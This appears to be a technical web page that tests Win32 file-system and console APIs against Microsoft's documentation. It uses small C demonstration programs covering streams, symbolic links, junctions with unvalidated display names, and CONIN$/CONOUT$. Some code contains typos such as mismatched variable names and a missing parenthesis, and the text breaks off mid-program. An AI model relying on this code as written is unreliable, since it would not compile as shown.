            ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯёђѓєѕіїјљњћќѝўџабвгдежзийклмнопрстуфхцчшщъыьэюя
            from
            code page 1251,
            the Greek letters
            ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρστυφχψω
            from
            code page 1253
            or
            non-ASCII
            characters from other (legacy
)
            ANSI
            or OEM
            code pages
            is left as an exercise to the reader.
        
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
FindFirstStreamW()
            states:
        Enumerates the first stream with a ::$DATA stream type in the specified file or directory.The documentation for the Win32 function[…]
[…]HANDLE FindFirstStreamW( [in] LPCWSTR lpFileName, [in] STREAM_INFO_LEVELS InfoLevel, [out] LPVOID lpFindStreamData, DWORD dwFlags );
[in] lpFileNameThe fully qualified file name.
[…]
If the function fails, the return value is INVALID_HANDLE_VALUE. To get extended error information, call GetLastError.
FindFirstStreamTransactedW()
            states:
        Enumerates the first stream in the specified file or directory as a transacted operation.OUCH:[…]HANDLE FindFirstStreamTransactedW( [in] LPCWSTR lpFileName, [in] STREAM_INFO_LEVELS InfoLevel, [out] LPVOID lpFindStreamData, DWORD dwFlags, [in] HANDLE hTransaction );
[in] lpFileNameThe fully qualified file name.
The file must reside on the local computer; otherwise, the function fails and the last error code is set to ERROR_TRANSACTIONS_UNSUPPORTED_REMOTE (6805).
[…] This function works on all file systems that supports hard links; otherwise, the function returns ERROR_STATUS_NOT_IMPLEMENTED (6805).
ERROR_STATUS_NOT_IMPLEMENTED is
            unknown – most probably the
            Win32 error code 1 alias
            ERROR_INVALID_FUNCTION
            is meant here, converted from
            NTSTATUS
            0xC0000002
            alias STATUS_NOT_IMPLEMENTED!
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <ktmw32.h>
#ifdef ERROR_STATUS_NOT_IMPLEMENTED
#error
#endif
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WIN32_FIND_STREAM_DATA	fsd;
	DWORD	dwError;
#ifndef BLUNDER
	HANDLE	hFind = FindFirstStreamW(L"blunder.exe",
		                         FindStreamInfoStandard,
		                         &fsd,
		                         0UL);
	if (hFind == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		while (FindNextStreamW(hFind, &fsd))
			continue;
		dwError = GetLastError();
		if (dwError == ERROR_HANDLE_EOF)
			dwError = ERROR_SUCCESS;
		if (!FindClose(hFind))
			dwError = GetLastError();
	}
#else // BLUNDER
	HANDLE	hFind;
	HANDLE	hTxFS = CreateTransaction((LPSECURITY_ATTRIBUTES) NULL,
		                          (LPGUID) NULL,
		                          TRANSACTION_DO_NOT_PROMOTE,
		                          0UL,
		                          0UL,
		                          INFINITE,
		                          L"blunder.exe");
	if (hTxF == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		hFind = FindFirstStreamTransactedW(L"blunder.exe",
		                                   FindStreamInfoStandard,
		                                   &fsd,
		                                   0UL,
		                                   hTxF);
		if (hFind == INVALID_HANDLE_VALUE)
			dwError = GetLastError();
		else
		{
			while (FindNextStreamW(hFind, &fsd))
				continue;
			dwError = GetLastError();
			if (dwError == ERROR_HANDLE_EOF)
				dwError = ERROR_SUCCESS;
			if (!FindClose(hFind))
				dwError = GetLastError();
		}
		if (!CloseHandle(hTxF))
			dwError = GetLastError();
	}
#endif // BLUNDER
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
0OOPS¹: contrary to the highlighted statement of the first documentation cited above, the
lpFileName
            parameter can be a simple unqualified file name!
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib ktmw32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib ktmw32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
0OOPS²: contrary to the first highlighted statement of the second documentation cited above, the
lpFileName parameter can be a simple
            unqualified file name!
        The NTFS file system provides the ability to create a system representation of a file or directory in a location in the directory structure that is different from the file or directory object that is being linked to. This process is called linking. There are two types of links supported in the NTFS file system: hard links and junctions.OUCH⁰:
tertium datur!
        The MSDN article Symbolic Links states:
A symbolic link is a file-system object that points to another file system object. The object being pointed to is called the target.The documentation for the Win32 functionSymbolic links are transparent to users; the links appear as normal files or directories, and can be acted upon by the user or application in exactly the same manner.
Symbolic links are designed to aid in migration and application compatibility with UNIX operating systems. Microsoft has implemented its symbolic links to function just like UNIX links.
CreateSymbolicLink()
            states:
        Creates a symbolic link.OUCH¹: the highlighted statement of this documentation is but misleading and wrong – bit 20 alias[…]
[…]BOOLEAN CreateSymbolicLink( [in] LPCTSTR lpSymlinkFileName, [in] LPCTSTR lpTargetFileName, [in] DWORD dwFlags );
[in] dwFlagsIndicates whether the link target, lpTargetFileName, is a directory.
Value Meaning 0x0 The link target is a file. SYMBOLIC_LINK_FLAG_DIRECTORY 
0x1The link target is a directory. SYMBOLIC_LINK_FLAG_ALLOW_UNPRIVILEGED_CREATE 
0x2Specify this flag to allow creation of symbolic links when the process is not elevated. […] […]
To remove a symbolic link, delete the file (using DeleteFile or similar APIs) or remove the directory (using RemoveDirectory or similar APIs) depending on what type of symbolic link is used.
SYMBOLIC_LINK_FLAG_DIRECTORY
            determines whether the Win32 function
            CreateSymbolicLink()
            creates a file or a directory to attach the
            reparse point
            in the first place!
        OUCH²: this documentation also proves the highlighted claim of the second documentation cited above a blatant lie – on UNIX, symbolic links are not agnostic of their target, i.e. they don’t distinguish a file from a directory or a device!
 Note: the
            MSDN article
            Symbolic Link Effects on File Systems Functions
            fails to specify the behaviour of the Win32 functions
            MoveFile(),
            MoveFileEx(),
            MoveFileTransacted(),
            MoveFileWithProgress(),
            RemoveDirectory(),
            RemoveDirectoryTransacted(),
            ReOpenFile(),
            ReplaceFile()
            and
            SetCurrentDirectory()
            on
            symbolic links!
        
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwError = ERROR_SUCCESS;
#ifndef BLUNDER
	if (!CreateSymbolicLink(L"Blunder", L".", 0UL))
		dwError = GetLastError();
	else
	{
#ifdef blunder
		if (!SetCurrentDirectory(L"Blunder"))
			dwError = GetLastError();
#endif
		if (!DeleteFile(L"Blunder"))
			dwError = GetLastError();
	}
#else // BLUNDER
	if (!CreateSymbolicLink(L"Blunder", L"blunder.exe", SYMBOLIC_LINK_FLAG_DIRECTORY)
		dwError = GetLastError();
	else
	{
#ifdef blunder
		if (!SetCurrentDirectory(L"Blunder"))
			dwError = GetLastError();
#endif
		if (!RemoveDirectory(L"Blunder"))
			dwError = GetLastError();
	}
#endif // BLUNDER
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Create the text file blunder.exe.manifest with the
            following content next to the console application
            blunder.exe built in step 2.:
        
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- (C)opyright 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
    <assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
    <description>Blunder Console Application</description>
    <trustInfo xmlns='urn:schemas-microsoft-com:asm.v2'>
        <security>
            <requestedPrivileges>
                <requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
            </requestedPrivileges>
        </security>
    </trustInfo>
</assembly> Execute the console application blunder.exe built in
            step 2. with elevated access rights and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH³: the
CreateSymbolicLink()
            function creates a file
            symbolic link
            – it attaches a valid but dysfunctional
            reparse point
            that targets an existing directory to a file!
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            blunder defined:
        
CL.EXE /Dblunder blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 5. with elevated access rights and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x10b (WIN32: 267 ERROR_DIRECTORY) -- 267 (267) Error message text: The directory name is invalid. CertUtil: -error command completed successfully.OUCH⁴: although
Blunder is a
            valid directory name the Win32 function
            SetCurrentDirectory()
            fails with Win32 error code 267 alias
            ERROR_DIRECTORY
            – most obviously the mixedsymbolic link confuses it!
 Compile and link the source file blunder.c created in
            step 1. a third time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 7. with elevated access rights and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH⁵: the
CreateSymbolicLink()
            function creates a directory
            symbolic link
            – it attaches a valid but dysfunctional
            reparse point
            that targets an existing file to a directory!
         Compile and link the source file blunder.c created in
            step 1. a last time, now with the preprocessor macros
            BLUNDER and blunder defined:
        
CL.EXE /DBLUNDER /Dblunder blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 9. with elevated access rights and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x10b (WIN32: 267 ERROR_DIRECTORY) -- 267 (267) Error message text: The directory name is invalid. CertUtil: -error command completed successfully.OUCH⁶: the
SetCurrentDirectory()
            function fails again with Win32 error code 267 alias
            ERROR_DIRECTORY
            – most obviously the mixedsymbolic link confuses it!
CreateSymbolicLinkTransacted()
            is left as an exercise to the reader.
         Note: an exploration of the effects of mixed
            symbolic links
            for the Win32 functions enumerated in the
            MSDN article
            Symbolic Link Effects on File Systems Functions
            as well as others not enumerated there is left as an exercise to the
            reader.
        
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
FSCTL_SET_REPARSE_POINT
            control code specifies:
        Sets a reparse point on a file or directory.OUCH⁰: contrary to the highlighted statement of this documentation theTo perform this operation, call the DeviceIoControl function with the following parameters.
[…]BOOL DeviceIoControl( (HANDLE) hDevice, // handle to file or directory FSCTL_SET_REPARSE_POINT, // dwIoControlCode (LPVOID) lpInBuffer, // input buffer (DWORD) nInBufferSize, // size of input buffer NULL, // lpOutBuffer 0, // nOutBufferSize NULL, // lpBytesReturned (LPOVERLAPPED) lpOverlapped // OVERLAPPED structure );lpInBuffer
A pointer to a buffer that contains the reparse point data. If the reparse tag is a Microsoft reparse tag, the data is a REPARSE_DATA_BUFFER structure.
The calling process must have the SE_CREATE_SYMBOLIC_LINK_NAME privilege. For more information, see Running with Special Privileges.
SeCreateSymbolicLinkPrivilege
            alias
            SE_CREATE_SYMBOLIC_LINK_NAME
            privilege
            is required only to create
            symbolic links
            – it is not required to create other
            reparse points,
            for example
            directory junctions!
         The documentation for the
            REPARSE_DATA_BUFFER
            structure specifies:
        
The REPARSE_DATA_BUFFER structure contains reparse point data for a Microsoft reparse point. […]Note: the Win32 function[…]typedef struct _REPARSE_DATA_BUFFER { ULONG ReparseTag; USHORT ReparseDataLength; USHORT Reserved; union { struct { USHORT SubstituteNameOffset; USHORT SubstituteNameLength; USHORT PrintNameOffset; USHORT PrintNameLength; ULONG Flags; WCHAR PathBuffer[1]; } SymbolicLinkReparseBuffer; struct { USHORT SubstituteNameOffset; USHORT SubstituteNameLength; USHORT PrintNameOffset; USHORT PrintNameLength; WCHAR PathBuffer[1]; } MountPointReparseBuffer; struct { UCHAR DataBuffer[1]; } GenericReparseBuffer; } DUMMYUNIONNAME; } REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;From the union, you can use the GenericReparseBuffer structure to interpret the payload for any IO_REPARSE_TAG_XXX tag, or optionally use one of the other structures within the union as follows:
- Use the SymbolicLinkReparseBuffer structure when FileTag is IO_REPARSE_TAG_SYMLINK.
- Use the MountPointReparseBuffer structure when FileTag is IO_REPARSE_TAG_MOUNT_POINT.
DeviceIoControl()
            fails with Win32 error code 145 alias
            ERROR_DIR_NOT_EMPTY
            if the directory to attach the
            reparse point
            is not empty, with Win32 error code 267 alias
            ERROR_DIRECTORY
            at the attempt to attach a
            junction
            or a volume mount point to a file, and with Win32 error
            code 4392 alias
            ERROR_INVALID_REPARSE_DATA
            if the null-terminated (empty) substitute name does
            not start at offset 0, the null-terminated (empty)
            print name does not start immediately after the substitute name, or
            the sum of their (wide) character counts is odd, i.e. the size of
            the
            REPARSE_DATA_BUFFER
            structure is not a multiple of 4!
            2.1.2.5 Mount Point Reparse Data Buffer
        CAVEAT: it but validates neither the substitute nor the print name!
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winioctl.h>
#define IO_REPARSE_TAG_JUNCTION	IO_REPARSE_TAG_MOUNT_POINT
#ifndef BLUNDER
#define SUBST	L"\\??\\C:\\Windows\\Temp"
#define PRINT	L"%TMP%"
#else
#define SUBST	L"\\??\\C:\\Windows\\System32\\Cmd.exe"
#define PRINT	L"%COMSPEC%"
#endif
const	struct	_REPARSE_DATA_BUFFER
{
	DWORD	ReparseTag;
	WORD	ReparseDataLength;
	WORD	Reserved;
	struct
	{
		WORD	SubstituteNameOffset;
		WORD	SubstituteNameLength;
		WORD	PrintNameOffset;
		WORD	PrintNameLength;
		WCHAR	PathBuffer[sizeof(SUBST L"\0" PRINT) / sizeof(L'\0')];
	} JunctionReparseData;
} rdb = {IO_REPARSE_TAG_JUNCTION,
         sizeof(rdb.JunctionReparseData), 0,
         0, sizeof(SUBST) - sizeof(L'\0'),
         sizeof(SUBST), sizeof(PRINT) - sizeof(L'\0'),
         SUBST L"\0" PRINT};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwError = ERROR_SUCCESS;
	DWORD	dwBlunder;
	HANDLE	hBlunder = CreateFile(L"Blunder",
		                      FILE_WRITE_ATTRIBUTES | FILE_WRITE_EA,
		                      FILE_SHARE_READ | FILE_SHARE_WRITE,
		                      (LPSECURITY_ATTRIBUTES) NULL,
		                      CREATE_NEW,
		                      FILE_ATTRIBUTE_DIRECTORY | FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_POSIX_SEMANTICS,
		                      (HANDLE) NULL);
	if (hBlunder == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		if (!DeviceIoControl(hBlunder,
		                     FSCTL_SET_REPARSE_POINT,
		                     &rdb, sizeof(rdb),
		                     NULL, 0UL,
		                     &dwBlunder,
		                     (LPOVERLAPPED) NULL))
			dwError = GetLastError();
		else
			if (!SetCurrentDirectory(L"Blunder"))
				dwError = GetLastError();
		if (!CloseHandle(hBlunder))
			dwError = GetLastError();
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(58) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
List the junction and erase it afterwards:
DIR blunder.* RMDIR Blunder
 Volume in drive C has no label.
 Volume Serial Number is 1957-0427
 Directory of C:\Users\Stefan\Desktop
04/27/2011  08:15 PM <JUNCTION>        Blunder [%TMP%]
04/27/2011  08:15 PM             2,051 blunder.c
04/27/2011  08:15 PM             2,560 blunder.exe
04/27/2011  08:15 PM             1,310 blunder.obj
               3 File(s)          5,921 bytes
               1 Dir(s)    9,876,543,210 bytes free
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(58) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 5. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x10b (WIN32: 267 ERROR_DIRECTORY) -- 267 (267) Error message text: The directory name is invalid. CertUtil: -error command completed successfully.OUCH¹: the Win32 function
DeviceIoControl()
            attaches a valid but dysfunctional
            reparse point
            that targets an existing file to a directory!
         OUCH²: although Blunder is a
            valid directory name the Win32 function
            SetCurrentDirectory()
            fails with Win32 error code 267 alias
            ERROR_DIRECTORY
            – most obviously the mixed
            junction
            confuses it!
        
List the junction and erase it afterwards:
DIR blunder.* RMDIR Blunder
 Volume in drive C has no label.
 Volume Serial Number is 1957-0427
 Directory of C:\Users\Stefan\Desktop
04/27/2011  08:15 PM <JUNCTION>        Blunder [%COMSPEC%]
04/27/2011  08:15 PM             2,051 blunder.c
04/27/2011  08:15 PM             2,560 blunder.exe
04/27/2011  08:15 PM             1,342 blunder.obj
               3 File(s)          5,953 bytes
               1 Dir(s)    9,876,543,210 bytes free
        mixedjunctions on other Win32 functions is left as an exercise to the reader.
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
CreateFile()
            specifies how to use the file names CONIN$ and
            CONOUT$:
        Note: the MSDN article Naming Files, Paths, and Namespaces fails to define the namesThe CreateFile function can create a handle to console input (CONIN$). If the process has an open handle to it as a result of inheritance or duplication, it can also create a handle to the active screen buffer (CONOUT$). The calling process must be attached to an inherited console or one allocated by the AllocConsole function. For console handles, set the CreateFile parameters as follows.
Parameters Value lpFileName Use the CONIN$ value to specify console input. 
Use the CONOUT$ value to specify console output.CONIN$ gets a handle to the console input buffer, even if the SetStdHandle function redirects the standard input handle. To get the standard input handle, use the GetStdHandle function.
CONOUT$ gets a handle to the active screen buffer, even if SetStdHandle redirects the standard output handle. To get the standard output handle, use GetStdHandle
dwDesiredAccess GENERIC_READ | GENERIC_WRITEis preferred, but either one can limit access.dwShareMode When opening CONIN$, specify FILE_SHARE_READ. When opening CONOUT$, specify FILE_SHARE_WRITE. If the calling process inherits the console, or if a child process should be able to access the console, this parameter must be
FILE_SHARE_READ | FILE_SHARE_WRITE.lpSecurityAttributes If you want the console to be inherited, the bInheritHandle member of the SECURITY_ATTRIBUTES structure must be TRUE. dwCreationDisposition You should specify OPEN_EXISTING when using CreateFile to open the console. dwFlagsAndAttributes Ignored. hTemplateFile Ignored. 
CONIN$ and
            CONOUT$ as reserved or special.
        The MSDN article Console Handles specifies:
            GetFileType
            can assist in determining what device type the handle refers to. A
            console handle presents as FILE_TYPE_CHAR.
        
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
const	LPCWSTR	szBlunder[3] = {L"CONIN$", L"CONOUT$", L"CONERR$"};
const	LPCWSTR	szFileType[4] = {L"FILE_TYPE_UNKNOWN",
		                 L"FILE_TYPE_DISK",
		                 L"FILE_TYPE_CHAR",
		                 L"FILE_TYPE_PIPE"};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WCHAR	szModule[MAX_PATH];
	DWORD	dwModule;
	DWORD	dwError = ERROR_SUCCESS;
	DWORD	dwBlunder = 0UL;
	HANDLE	hBlunder;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		do
			PrintConsole(hError,
			             L"GetFileAttributes() returned attributes 0x%08lX for \'%ls\'\n",
			             GetFileAttributes(szBlunder[dwBlunder]), szBlunder[dwBlunder]);
		while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
		dwModule = GetModuleFileName((HMODULE) NULL,
		                             szModule,
		                             sizeof(szModule) / sizeof(*szModule));
		if (dwModule == 0UL)
			PrintConsole(hError,
			             L"GetModuleFileName() returned error %lu\n",
			             dwError = GetLastError());
		else
		{
			PrintConsole(hError, L"\n");
			dwBlunder = 0UL;
			do
				if (!CopyFile(szModule,
				              szBlunder[dwBlunder],
				              FALSE))
					PrintConsole(hError,
					             L"CopyFile() returned error %lu for target file \'%ls\'\n",
					             dwError = GetLastError(), szBlunder[dwBlunder]);
				else
				{
					PrintConsole(hError,
					             L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
					             GetFileAttributes(szBlunder[dwBlunder]), szBlunder[dwBlunder]);
					if (!DeleteFile(szBlunder[dwBlunder]))
						PrintConsole(hError,
						             L"DeleteFile() returned error %lu for file \'%ls\'\n",
						             dwError = GetLastError(), szBlunder[dwBlunder]);
				}
			while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
			if (!CopyFile(szModule,
			              szBlunder[2],
			              FALSE))
				PrintConsole(hError,
				             L"CopyFile() returned error %lu for target file \'%ls\'\n",
				             dwError = GetLastError(), szBlunder[2]);
			else
				if (!MoveFile(szBlunder[2],
				              szBlunder[1]))
				{
					PrintConsole(hError,
					             L"MoveFile() returned error %lu for target file \'%ls\'\n",
					             dwError = GetLastError(), szBlunder[1]);
					if (!DeleteFile(szBlunder[2]))
						PrintConsole(hError,
						             L"DeleteFile() returned error %lu for file \'%ls\'\n",
						             dwError = GetLastError(), szBlunder[2]);
				}
				else
				{
					PrintConsole(hError,
					             L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
					             GetFileAttributes(szBlunder[1]), szBlunder[1]);
					if (!MoveFile(szBlunder[1],
					              szBlunder[0]))
					{
						PrintConsole(hError,
						             L"MoveFile() returned error %lu for target file \'%ls\'\n",
						             dwError = GetLastError(), szBlunder[0]);
						if (!DeleteFile(szBlunder[1]))
							PrintConsole(hError,
							             L"DeleteFile() returned error %lu for file \'%ls\'\n",
							             dwError = GetLastError(), szBlunder[1]);
					}
					else
					{
						PrintConsole(hError,
						             L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
						             GetFileAttributes(szBlunder[0]), szBlunder[0]);
						if (!DeleteFile(szBlunder[0]))
							PrintConsole(hError,
							             L"DeleteFile() returned error %lu for file \'%ls\'\n",
							             dwError = GetLastError(), szBlunder[0]);
					}
				}
		}
		PrintConsole(hError, L"\n");
		dwBlunder = 0UL;
		do
			if (!CreateDirectory(szBlunder[dwBlunder],
			                     (LPSECURITY_ATTRIBUTES) NULL))
				PrintConsole(hError,
				             L"CreateDirectory() returned error %lu for directory \'%ls\'\n",
				             dwError = GetLastError(), szBlunder[dwBlunder]);
			else
			{
				PrintConsole(hError,
				             L"GetFileAttributes() returned attributes 0x%08lX for directory \'%ls\'\n",
				             GetFileAttributes(szBlunder[dwBlunder]), szBlunder[dwBlunder]);
				hBlunder = CreateFile(szBlunder[dwBlunder],
				                      GENERIC_READ | GENERIC_WRITE,
				                      FILE_SHARE_READ | FILE_SHARE_WRITE,
				                      (LPSECURITY_ATTRIBUTES) NULL,
				                      OPEN_EXISTING,
				                      FILE_FLAG_BACKUP_SEMANTICS,
				                      (HANDLE) NULL);
				if (hBlunder == INVALID_HANDLE_VALUE)
					PrintConsole(hError,
					             L"CreateFile() returned error %lu for directory \'%ls\'\n",
					             dwError = GetLastError(), szBlunder[dwBlunder]);
				else
				{
					PrintConsole(hError,
					             L"GetFileType() returned %ls for directory \'%ls\'\n",
					             szFileType[GetFileType(hBlunder)], szBlunder[dwBlunder]);
					if (!CloseHandle(hBlunder))
						PrintConsole(hError,
						             L"CloseHandle() returned error %lu\n",
						             dwError = GetLastError());
				}
				if (!RemoveDirectory(szBlunder[dwBlunder]))
					PrintConsole(hError,
					             L"RemoveDirectory() returned error %lu for directory \'%ls\'\n",
					             dwError = GetLastError(), szBlunder[dwBlunder]);
			}
		while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
		PrintConsole(hError, L"\n");
		dwBlunder = 0UL;
		do
		{
			hBlunder = CreateFile(szBlunder[dwBlunder],
			                      GENERIC_READ | GENERIC_WRITE,
			                      FILE_SHARE_READ | FILE_SHARE_WRITE,
			                      (LPSECURITY_ATTRIBUTES) NULL,
			                      CREATE_NEW,
			                      FILE_ATTRIBUTE_NORMAL,
			                      (HANDLE) NULL);
			if (hBlunder == INVALID_HANDLE_VALUE)
				PrintConsole(hError,
				             L"CreateFile() returned error %lu for file \'%ls\'\n",
				             dwError = GetLastError(), szBlunder[dwBlunder]);
			else
			{
				PrintConsole(hError,
				             L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
				             GetFileAttributes(szBlunder[dwBlunder]), szBlunder[dwBlunder]);
				PrintConsole(hError,
				             L"GetFileType() returned %ls for file \'%ls\'\n",
				             szFileType[GetFileType(hBlunder)], szBlunder[dwBlunder]);
				if (!CloseHandle(hBlunder))
					PrintConsole(hError,
					             L"CloseHandle() returned error %lu\n",
